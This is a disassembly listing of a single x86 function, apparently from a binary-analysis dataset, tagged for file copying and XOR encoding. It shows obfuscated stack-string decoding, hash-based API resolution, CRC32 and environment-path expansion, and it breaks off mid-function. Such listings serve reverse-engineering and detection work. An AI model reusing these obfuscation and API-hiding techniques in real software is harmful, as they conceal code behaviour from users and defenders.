Function at 0x4694086
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.046924d0
add esp, 4
test al, al
je 0x4692d10
mov al, 1
ret
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xe8
push eax
mov dword [ebp - 0x20], esp
sub esp, 0x28
mov eax, esp
sub esp, 8
mov dword [ebp - 0xb0], esp
sub esp, 8
mov dword [ebp - 0xb4], esp
sub esp, 8
mov dword [ebp - 0x98], esp
sub esp, 0x24
mov edi, esp
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xf4], 0x8130874f
mov dword [ebp - 0xf0], 0x8d3e833d
mov dword [ebp - 0xec], 0x893a8f2f
mov dword [ebp - 0xe8], 0x955a8b3c
mov dword [ebp - 0xe4], 0x912a9737
mov dword [ebp - 0xe0], 0x9d929338
mov byte [ebp - 0xdc], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0x61
xor cl, byte [ebp + eax - 0xf4]
add cl, 0x1b
mov byte [ebp + eax - 0xf4], cl
inc eax
cmp eax, 0x19
jne 0x4692d90
mov dword [ebp - 0x8c], 0x316c3f50
mov dword [ebp - 0x88], 0x356b3377
mov dword [ebp - 0x84], 0x4963376f
mov dword [ebp - 0x80], 0x4d184b1c
mov dword [ebp - 0x7c], 0x41224f27
mov dword [ebp - 0x78], 0x4501431f
mov dword [ebp - 0x74], 0x591e4701
mov dword [ebp - 0x70], 0x5d045b03
mov dword [ebp - 0x6c], 0x51325f1b
mov dword [ebp - 0x68], 0x55035305
mov dword [ebp - 0x64], 0x69025712
mov dword [ebp - 0x60], 0x6d296b01
mov dword [ebp - 0x5c], 0x61296f3e
mov dword [ebp - 0x58], 0x6534630c
mov dword [ebp - 0x54], 0x791a6707
mov dword [ebp - 0x50], 0x7d1d7b0e
mov dword [ebp - 0x4c], 0x712b7f10
mov dword [ebp - 0x48], 0x75157304
mov dword [ebp - 0x44], 0x89097717
mov word [ebp - 0x40], 0x8b88
mov byte [ebp - 0x3c], 0
mov word [ebp - 0x3e], 0
xor eax, eax
nop
nop
nop
nop
mov edx, eax
xor edx, 0x925c264a
mov ecx, eax
or ecx, 0x35
and ecx, edx
mov esi, ecx
and esi, 2
mov edx, ecx
or ecx, 2
imul ecx, esi
xor esi, 2
and edx, 0x7d
imul edx, esi
mov ebx, eax
xor ebx, 0xb5
add ebx, ecx
add ebx, edx
xor bl, byte [ebp + eax - 0x8c]
add bl, 0x77
mov byte [ebp + eax - 0x8c], bl
inc eax
cmp eax, 0x51
jne case.default.0x4692eb5
lea eax, [ebp - 0xf4]
lea ecx, [ebp - 0x8c]
push eax
push ecx
call fcn.046a42d0
add esp, 8
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x46b3b3c]
mov ecx, eax
nop
nop
mov edx, ecx
add ecx, 2
cmp word [edx], 0
jne 0x4692ec0
sub edx, eax
cmp edx, 0xffffffd9
jge 0x4692ee9
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x90], edi
mov edx, 0xffffffff
jmp 0x4692ef5
xor eax, eax
jmp 0x4693fc5
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x90], edi
add edx, 0x26
push edx
call fcn.046782d0
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x8c], 0x4fa949a4
mov dword [ebp - 0x88], 0x43d04ddf
mov dword [ebp - 0x84], 0x47df41da
mov dword [ebp - 0x80], 0x7b9645df
mov dword [ebp - 0x7c], 0x7fed799f
mov dword [ebp - 0x78], 0x73e87dee
mov dword [ebp - 0x74], 0x77ed71e9
mov dword [ebp - 0x70], 0x6be075a6
mov dword [ebp - 0x6c], 0x6ff4698c
mov word [ebp - 0x68], 0x6d6c
mov dword [ebp - 0x66], 0
xor eax, eax
xor ebx, ebx
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ebx - 0x8c]
mov esi, eax
and esi, 0x24
mov edi, ebx
xor edi, 0xf7998f12
add edi, esi
lea esi, [edi + edi]
not esi
add esi, edi
not edi
or edi, edx
and esi, edx
lea ecx, [edi + edi]
not ecx
add ecx, edi
or ecx, esi
add cl, 0xa6
mov byte [ebp + ebx - 0x8c], cl
inc ebx
add eax, 2
cmp ebx, 0x2a
jne 0x4692f60
mov esi, dword [ebp - 0x10]
movzx ecx, word [esi]
mov edi, dword [ebp - 0x18]
mov eax, edi
test cx, cx
je 0x4692fd1
mov edx, esi
add edx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4692fc0
mov word [eax], 0
movzx ecx, word [ebp - 0x8c]
test cx, cx
lea ebx, [ebp - 0x8c]
je 0x4693001
lea edx, [ebp - 0x8a]
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4692ff0
mov word [eax], 0
jmp dword [0x46b3b44]
push esi
call fcn.046782e0
add esp, 4
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x46b3b4c]
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x46b3b4c]
jmp dword [0x46b3b54]
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x14]
jmp dword [eax*4 + 0x46b3bfc]
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.046782d0
add esp, 4
push 0
push esi
mov dword [ebp - 0xac], eax
push eax
push dword [ebp - 0x9c]
call fcn.046acb80
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x14]
jmp dword [eax*4 + 0x46b3c04]
mov esi, dword [edi]
mov edi, dword [ebp - 0xac]
mov byte [edi + esi], 0
push 0x20
call fcn.046782d0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0xa8], eax
mov ecx, eax
push esi
push edi
call fcn.04695df0
movzx eax, al
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x14]
jmp dword [eax*4 + 0x46b3c0c]
mov edx, dword [ebp - 0x2c]
mov dword [edx], 0xfdc0fad1
mov dword [edx + 4], 0xc6f8c8f1
mov dword [edx + 8], 0xfdf5e9bd
mov dword [edx + 0xc], 0xe087fcca
mov dword [edx + 0x10], 0xcafdf0c0
mov dword [edx + 0x14], 0xcfcf9a89
mov dword [edx + 0x18], 0xd5e7e8ce
mov dword [edx + 0x1c], 0xede3e085
mov word [edx + 0x20], 0x4bef
mov dword [edx + 0x22], 0
mov word [edx + 0x26], 0
xor ecx, ecx
nop
nop
mov eax, ecx
add al, 0x97
xor al, byte [edx + ecx]
add al, 0xd
mov byte [edx + ecx], al
inc ecx
cmp ecx, 0x28
jne case.default.0x469316f
mov ecx, dword [ebp - 0xa8]
push edx
call fcn.04696060
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x14]
jmp dword [ecx*4 + 0x46b3c14]
jmp dword [0x46b3c9c]
mov edi, dword [ebp - 0xa8]
mov ecx, edi
call fcn.04696220
push edi
call fcn.046782e0
add esp, 4
jmp dword [0x46b3ca4]
jmp dword [0x46b3ca4]
push dword [ebp - 0xac]
call fcn.046782e0
add esp, 4
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x8c], 0xc8cbcacd
mov dword [ebp - 0x88], 0
mov ecx, 0xc5ed78d3
nop
nop
movzx edx, byte [ebp + ecx + 0x3a1286a1]
lea esi, [ecx + 0x3a128800]
and esi, edx
add edx, ecx
add esi, esi
mov edi, edx
sub edi, esi
mov esi, edi
and esi, 0x60
xor edi, 0xe0
lea esi, [edi + esi*2]
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
mov byte [ebp + ecx + 0x3a1286a1], dl
inc ecx
cmp ecx, 0xc5ed78db
jne 0x46931d0
mov ecx, dword [0x46b91f4]
test ecx, ecx
je 0x4693248
mov edx, dword [ebp - 0x8c]
xor esi, esi
mov edi, dword [0x46b91f8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4693240
inc esi
cmp ecx, esi
jne 0x4693230
jmp 0x4693248
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4693270
mov edi, dword [ebp - 0x90]
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
jmp dword [0x46b3cac]
mov eax, edx
and al, 1
movzx ecx, al
mov eax, edx
jmp dword [ecx*4 + 0x46b3cb4]
jmp dword [0x46b3cbc]
push eax
push 4
push ecx
push dword [0x46b91fc]
call fcn.046a8f20
add esp, 0x10
mov edi, dword [ebp - 0x90]
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
jmp dword [0x46b3cac]
add eax, 8
mov dword [ebp - 0x18], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x24], ebx
jmp dword [eax*4 + 0x46b3c1c]
jmp dword [0x46b3c30]
cmp dword [edx + 0x18], 3
mov edi, 0
jne 0x46932c0
mov edi, dword [edx + 0x10]
jmp 0x46932c0
mov ebx, dword [edx]
test ebx, ebx
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x46b3c34]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
mov ebx, dword [ebp - 0x24]
jmp dword [eax*4 + 0x46b3c1c]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x20], esi
mov eax, edi
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x469333f
sub ecx, edi
inc ecx
shr ecx, 1
mov dword [ebp - 0xa0], ecx
lea eax, [ecx + 1]
push eax
call fcn.046782d0
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [ebp - 0x94], eax
jmp dword [edx*4 + 0x46b3c4c]
inc edi
mov eax, dword [ebp - 0x10]
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x46b3c4c]
lea edx, [ecx - 0x30]
cmp edx, 0xa
jb 0x4693375
mov edx, 0xffffffff
or ecx, 0x20
lea esi, [ecx - 0x61]
cmp esi, 6
mov dword [ebp - 0x10], eax
jae case.default.0x4693393
add ecx, 0xffffffa9
mov edx, ecx
movsx ecx, byte [edi + 1]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x46b3c54]
lea esi, [ecx - 0x30]
cmp esi, 0xa
jb 0x46933a7
mov esi, 0xffffffff
or ecx, 0x20
lea eax, [ecx - 0x61]
cmp eax, 6
jae case.default.0x46933cf
add ecx, 0xffffffa9
mov esi, ecx
mov eax, dword [ebp - 0x10]
shl edx, 4
or edx, esi
add edi, 2
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x46b3c4c]
mov byte [eax], 0
jmp 0x46933e1
inc ebx
movzx ecx, byte [ebx]
movzx eax, cl
lea edx, [eax - 9]
cmp edx, 5
jb 0x46933e0
cmp eax, 0x20
je 0x46933e0
mov byte [ebp - 0x34], cl
mov edx, ecx
add dl, 0xd5
xor eax, eax
test dl, 0xfd
sete al
lea edx, [ebx + eax]
mov dword [ebp - 0x10], edx
cmp byte [ebx + eax], 0x30
jne 0x4693428
movzx edx, byte [ebx + eax + 1]
and dl, 0xdf
xor ecx, ecx
cmp dl, 0x58
sete cl
lea eax, [eax + ecx*2]
add eax, ebx
mov dword [ebp - 0x10], eax
xor ebx, ebx
xor edx, edx
xor eax, eax
nop
nop
mov dword [ebp - 0x28], eax
mov edi, edx
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
movsx eax, byte [ebx]
lea esi, [eax - 0x30]
cmp esi, 0xa
jb 0x469346f
mov edx, eax
and edx, 0xffffffdf
add edx, 0xffffffbf
cmp edx, 0x19
ja 0x46934e2
or al, 0x20
movsx eax, al
add eax, 0xffffff9f
mov edx, eax
and edx, 0xa
xor eax, 0xa
lea esi, [eax + edx*2]
cmp esi, 0xf
jg 0x46934e2
inc ebx
mov dword [ebp - 0x10], ebx
mov ebx, edi
mov ecx, dword [ebp - 0x28]
and ebx, ecx
mov edx, 0xffffffff
mov eax, 0xffffffff
cmp ebx, 0xffffffff
mov ebx, 0x22
je 0x4693430
mov eax, ecx
shld ecx, edi, 4
shr eax, 0x1c
shl edi, 4
xor edx, edx
mov dword [ebp - 0x28], eax
neg eax
sbb edx, edx
or ecx, edx
or edx, edi
mov ebx, esi
sar ebx, 0x1f
add edx, esi
adc ebx, ecx
mov eax, 0xffffffff
mov ecx, 0xffffffff
jb 0x46934c0
mov eax, ebx
mov ecx, edx
mov ebx, 0x22
mov esi, 0x22
jb 0x46934cf
mov esi, dword [ebp - 0x30]
mov edx, ecx
cmp dword [ebp - 0x28], 0
jne 0x4693430
mov ebx, esi
jmp 0x4693430
xor ebx, ebx
mov eax, edi
neg eax
mov dword [ebp - 0x10], eax
mov esi, 0
mov eax, dword [ebp - 0x28]
sbb esi, eax
cmp byte [ebp - 0x34], 0x2d
je case.default.0x469350b
mov dword [ebp - 0x10], edi
mov esi, eax
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x24]
setne cl
jmp dword [ecx*4 + 0x46b3c5c]
mov ebx, dword [eax]
xor ecx, ecx
jmp dword [ecx*4 + 0x46b3c6c]
add eax, 8
xor ecx, ecx
cmp eax, dword [ebp - 0x24]
setne cl
jmp dword [ecx*4 + 0x46b3c5c]
cmp dword [ebp - 0x30], 0x22
setne cl
mov edx, dword [eax + 4]
mov edi, edx
shr edi, 0x1c
xor edi, esi
shl edx, 4
or edx, 1
xor edx, dword [ebp - 0x10]
or edx, edi
sete dl
and dl, cl
movzx ecx, dl
jmp dword [ecx*4 + 0x46b3c64]
mov ecx, 1
jmp dword [ecx*4 + 0x46b3c6c]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x46b3c74]
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x2c]
jmp dword [0x46b3c94]
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x94]
mov dword [ecx + 4], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
cmp byte [ebx + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x4693604
mov edi, dword [ebp - 0xb4]
mov dword [edi], eax
mov dword [edi + 4], ebx
mov esi, dword [ebp - 0x98]
mov dword [esi], 0
mov dword [esi + 4], 0
push 0x14e20a34
push dword [0x46b9200]
call fcn.046abc60
add esp, 8
push esi
push 1
push 0
push 0
push edi
push 0
push dword [ebp - 0xb0]
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x46b3c7c]
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x2c]
jmp dword [0x46b3c94]
movzx eax, byte [ebx]
test al, al
mov ecx, dword [ebp - 0x20]
je 0x469363d
inc ebx
mov edi, dword [ebp - 0x98]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x4693630
jmp 0x4693643
mov edi, dword [ebp - 0x98]
mov word [ecx], 0x203a
add ecx, 2
mov ebx, ecx
mov esi, dword [edi]
test esi, esi
je 0x4693693
mov eax, dword [edi + 4]
mov ecx, esi
and ecx, 3
je 0x4693697
xor edx, edx
mov edi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edi + edx], bl
inc edx
cmp ecx, edx
jne 0x4693670
add edi, edx
mov ecx, esi
sub ecx, edx
mov ebx, edi
mov edx, edi
mov edi, dword [ebp - 0x98]
jmp 0x469369b
mov esi, ebx
jmp 0x46936e9
mov edx, ebx
mov ecx, esi
cmp esi, 4
mov esi, ebx
jb 0x46936e9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edx], bl
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edx + 1], bl
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edx + 2], bl
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
lea esi, [edx + 4]
mov byte [edx + 3], bl
mov edx, esi
add ecx, 0xfffffffc
jne 0x46936b0
mov byte [esi], 0xa
inc esi
push 0xbe5098bb
push dword [0x46b91e8]
call fcn.046abc60
add esp, 8
push dword [edi + 4]
call eax
mov al, 1
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x2c]
jmp dword [0x46b3c94]
push dword [ebp - 0x94]
call fcn.046782e0
mov edx, dword [ebp - 0x2c]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
mov ebx, dword [ebp - 0x24]
jmp dword [eax*4 + 0x46b3c1c]
push dword [ebp - 0x18]
call fcn.046782e0
add esp, 4
xor eax, eax
mov esi, dword [ebp - 0x1c]
cmp esi, ebx
sete al
jmp dword [eax*4 + 0x46b3bdc]
xor eax, eax
test esi, esi
jne 0x4693f95
jmp 0x4693fc5
lea eax, [ebp - 0x38]
push 0
push eax
push dword [ebp - 0xf4]
call fcn.046aca90
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x46b3b6c]
mov esi, dword [ebp - 0x38]
lea eax, [esi + 1]
push eax
call fcn.046782d0
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [ebp - 0xf4]
call fcn.046acb80
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x46b3b74]
mov esi, dword [ebp - 0x38]
mov byte [edi + esi], 0
push 0x20
call fcn.046782d0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x34], eax
mov ecx, eax
push esi
mov dword [ebp - 0xa0], edi
push edi
call fcn.04695df0
movzx eax, al
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x46b3b7c]
mov dword [ebp - 0x8c], 0x5d685679
mov dword [ebp - 0x88], 0x62506059
mov dword [ebp - 0x84], 0x5d6d711d
mov dword [ebp - 0x80], 0x81b6456
mov dword [ebp - 0x7c], 0x26151828
mov dword [ebp - 0x78], 0x101f7061
mov dword [ebp - 0x74], 0x2528202d
mov word [ebp - 0x70], 0xbb25
mov dword [ebp - 0x6e], 0
mov byte [ebp - 0x6a], 0
mov eax, 0x25298e31
mov ecx, 0xdad671ce
nop
nop
nop
nop
nop
movzx edx, byte [ebp + eax - 0x25298ebd]
mov esi, ecx
and esi, 0xd2d001bc
mov edi, eax
xor edi, 0x500863c
or edi, esi
xor edx, 0xd7d087bc
mov esi, edx
and esi, edi
add edx, edi
add esi, esi
sub edx, esi
add dl, 0xb
mov byte [ebp + eax - 0x25298ebd], dl
inc eax
dec ecx
cmp eax, 0x25298e54
jne 0x4693870
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x8c]
push eax
call fcn.04696060
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x46b3b84]
mov eax, dword [case.0x4692eb5.23]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov edi, dword [ebp - 0xa0]
jmp dword [0x46b3ba4]
mov ecx, dword [ebp - 0x34]
call fcn.04696220
push dword [ebp - 0x34]
call fcn.046782e0
add esp, 4
jmp dword [0x46b3bac]
mov dword [ebp - 0x1c], esi
jmp dword [0x46b3bb4]
jmp dword [0x46b3bac]
mov dword [ebp - 0x1c], esi
push edi
call fcn.046782e0
add esp, 4
jmp dword [0x46b3bb4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x8c], 0xc8cbcacd
mov dword [ebp - 0x88], 0
mov ecx, 0xc5ed78d3
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx + 0x3a1286a1]
lea esi, [ecx + 0x3a128800]
and esi, edx
add edx, ecx
add esi, esi
mov edi, edx
sub edi, esi
mov esi, edi
and esi, 0x60
xor edi, 0xe0
lea esi, [edi + esi*2]
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
mov byte [ebp + ecx + 0x3a1286a1], dl
inc ecx
cmp ecx, 0xc5ed78db
jne 0x4693950
mov ecx, dword [0x46b91f4]
test ecx, ecx
je case.0x4692eb5.29
mov edx, dword [ebp - 0x8c]
xor esi, esi
mov edi, dword [0x46b91f8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x46939c0
inc esi
cmp ecx, esi
jne 0x46939b0
jmp case.0x4692eb5.29
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x4692eb5.29
push eax
push 4
push ecx
push dword [0x46b91fc]
call fcn.046a8f20
add esp, 0x10
jmp case.0x4692eb5.29
jmp dword [0x46b3bbc]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x8c], 0xc8cbcacd
mov dword [ebp - 0x88], 0
mov ecx, 0xc5ed78d3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx + 0x3a1286a1]
lea esi, [ecx + 0x3a128800]
and esi, edx
add edx, ecx
add esi, esi
mov edi, edx
sub edi, esi
mov esi, edi
and esi, 0x60
xor edi, 0xe0
lea esi, [edi + esi*2]
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
mov byte [ebp + ecx + 0x3a1286a1], dl
inc ecx
cmp ecx, 0xc5ed78db
jne 0x4693a10
mov ecx, dword [0x46b91f4]
test ecx, ecx
je 0x46939e0
mov edx, dword [ebp - 0x8c]
xor esi, esi
mov edi, dword [0x46b91f8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4693a90
inc esi
cmp ecx, esi
jne 0x4693a70
jmp 0x46939e0
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x46939e0
push eax
push 4
push ecx
push dword [0x46b91fc]
call fcn.046a8f20
add esp, 0x10
jmp 0x46939e0
add eax, 8
xor ebx, ebx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
xor edi, edi
xor edx, edx
jmp dword [eax*4 + 0x46b3b8c]
lea eax, [ecx + ecx]
not eax
add eax, ecx
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov dword [esi + ecx + 4], eax
mov ebx, dword [ebp - 0x24]
add ebx, 8
mov ecx, dword [ebp - 0xa4]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
mov edx, dword [ebp - 0x14]
jmp dword [eax*4 + 0x46b3b8c]
mov dword [ebp - 0xa4], ecx
mov eax, dword [ecx]
mov dword [ebp - 0x10], eax
mov ecx, ebx
sub ecx, edi
cmp ebx, edx
mov dword [ebp - 0x30], ecx
je 0x4693b1f
mov esi, edi
jmp 0x4693b95
mov dword [ebp - 0x14], edx
mov eax, edx
sub eax, edi
sar eax, 3
mov ebx, eax
shr ebx, 1
add ebx, eax
mov eax, ecx
sar eax, 3
inc eax
cmp ebx, eax
ja 0x4693b3b
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.046782d0
add esp, 4
mov esi, eax
test edi, edi
je 0x4693b8b
mov edx, dword [ebp - 0x14]
cmp edi, edx
je 0x4693b82
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x4693b60
push edi
call fcn.046782e0
add esp, 4
lea edx, [esi + ebx*8]
mov ebx, esi
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov dword [ebp - 0x14], edx
mov dword [esi + ecx], 0
mov dword [esi + ecx + 4], 0
xor eax, eax
mov edi, dword [ebp - 0x10]
nop
nop
nop
nop
cmp byte [edi + eax], 0
lea eax, [eax + 1]
jne 0x4693bb0
mov dword [ebp - 0x24], ebx
push eax
mov dword [ebp - 0x28], eax
call fcn.046782d0
add esp, 4
mov ebx, eax
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x30]
mov dword [esi + eax], ebx
mov edx, dword [ebp - 0x28]
mov ecx, edx
shr ecx, 2
mov eax, edi
mov esi, edi
mov edi, ebx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov eax, edx
not edx
or edx, 0xfffffffc
add ebx, edx
mov dword [ebp - 0x94], ebx
lea edi, [eax + ebx]
inc edi
mov ebx, eax
add edx, esi
and eax, 3
mov ecx, eax
shr ecx, 1
lea esi, [ebx + edx]
inc esi
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, eax
xor ecx, 0xfffffffe
or eax, 1
and eax, ecx
je 0x4693c3a
add edx, ebx
mov ecx, ebx
and ecx, 2
add edx, ecx
inc edx
mov esi, dword [ebp - 0x94]
add esi, ebx
add ecx, esi
inc ecx
push eax
push edx
push ecx
call fcn.04678300
add esp, 0xc
mov ecx, 0xffffffff
cmp ebx, 1
mov edx, dword [ebp - 0x10]
je 0x4693ad0
mov eax, 1
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebx, edi
shl ebx, 0x1d
sar ebx, 0x1f
and ebx, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebx
mov ebx, edi
shl ebx, 0x1b
sar ebx, 0x1f
and ebx, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebx
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
mov edx, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x28]
inc eax
cmp ebx, eax
jne 0x4693c50
jmp 0x4693ad0
push 0x60
push 3
push 0x120089
lea eax, [ebp - 0xf4]
push eax
push edi
call fcn.046ac6f0
add esp, 0x14
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [ebp - 0x1c], 0
jmp dword [eax*4 + 0x46b3b64]
jmp dword [0x46b3bc4]
xor eax, eax
mov esi, dword [ebp - 0x1c]
cmp esi, ebx
sete al
jmp dword [eax*4 + 0x46b3bdc]
mov eax, ebx
sub eax, esi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.046782d0
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x8c], 0x49be4b97
mov dword [ebp - 0x88], 0x45db47d9
mov dword [ebp - 0x84], 0x41d643db
mov dword [ebp - 0x80], 0x7dee7fbf
mov dword [ebp - 0x7c], 0x79867bec
mov dword [ebp - 0x78], 0x75fa77e7
mov dword [ebp - 0x74], 0x71a973eb
mov dword [ebp - 0x70], 0x6d836f94
mov dword [ebp - 0x6c], 0x69f16be0
mov dword [ebp - 0x68], 0x65f567f7
mov dword [ebp - 0x64], 0x61f66380
mov dword [ebp - 0x60], 0x1d831ff1
mov dword [ebp - 0x5c], 0x198e1b83
mov dword [ebp - 0x58], 0x159c17ca
mov dword [ebp - 0x54], 0x11881388
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0xf10
mov byte [ebp - 0x4c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x13
xor dl, byte [ebp + ecx - 0x8c]
add dl, 0xa1
mov byte [ebp + ecx - 0x8c], dl
inc ecx
cmp ecx, 0x41
jne 0x4693de0
lea edx, [ebp - 0x8c]
lea esi, [ebp - 0xf4]
mov edi, esi
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [ebp - 0xb8]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [ebp - 0x38]
push eax
push 0
push 0
push 0x1e
push esi
push 0
call dword [sym.imp.ntdll.dll_RtlExpandEnvironmentStrings]
mov edi, dword [ebp - 0x38]
test edi, edi
jns 0x4693e46
mov eax, 0xffffffff
jmp 0x4693e49
lea eax, [edi + edi]
push eax
call fcn.046782d0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x38]
push eax
push edi
push esi
push 0x1e
lea eax, [ebp - 0xf4]
push eax
push 0
call dword [sym.imp.ntdll.dll_RtlExpandEnvironmentStrings]
lea eax, [ebp - 0x9c]
push 0x60
